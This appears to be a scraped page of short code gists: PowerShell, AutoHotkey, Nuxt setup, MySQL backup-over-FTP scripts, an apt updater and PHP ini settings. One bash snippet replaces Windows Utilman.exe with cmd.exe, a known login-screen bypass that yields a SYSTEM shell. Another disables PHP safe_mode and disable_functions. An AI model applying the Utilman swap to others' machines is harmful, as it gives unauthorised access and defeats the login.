Get-ChildItem -Path './' -Filter *. -Recurse | Where-Object {
-not $_.PSIsContainer
} | Rename-Item -NewName {$_.Name + ".jpg"}
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
toggle := false | |
F5:: | |
toggle := !toggle | |
if (toggle) | |
SetTimer, PressW, 50 ; Start pressing 'W' every 50 ms | |
else | |
SetTimer, PressW, Off ; Stop pressing 'W' | |
return |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pnpm dlx nuxi init ./ --overwrite-dir | |
pnpm add @nuxt/ui @pinia/nuxt @pinia-plugin-persistedstate/nuxt @iconify/json flowbite | |
pnpm add -D sass @types/node | |
mkdir -p assets/css layouts pages .vscode | |
touch assets/css/main.scss | |
touch layouts/default.vue | |
touch pages/index.vue | |
touch .editorconfig | |
touch .prettierrc.json |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
windows_part=$1 | |
cd $windows_part/Windows/System32 | |
mv Utilman.exe Utilman.exe.d | |
cp cmd.exe Utilman.exe |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
ftper /backup/mysql/mysql.tar.gz | |
exit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
####################### | |
# Programmed By Ghazzi# | |
####################### | |
cd /backup/mysql | |
tar -zcvf mysql.tar.gz daily | |
ftper mysql.tar.gz | |
exit 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
########################################## | |
# By: Mo9a7i (livehostsupport@gmail.com # | |
########################################## | |
temp="/tmp/$(basename $0).$$" ; trap "/bin/rm -f $temp" 0 | |
remote='176.31.46.12' | |
dire='public_html/hard' | |
ftpu='backup' | |
ftpp='' | |
transtype='binary' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
echo "Updating repositories" && | |
sudo apt-get update -y | |
echo "Upgarding applications and distro" && | |
sudo apt-get upgrade -y | |
sudo apt-get dist-upgrade -y | |
echo "Cleaning Up" && | |
sudo apt-get -f install && |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
safe_mode = Off | |
disable_functions = NONE |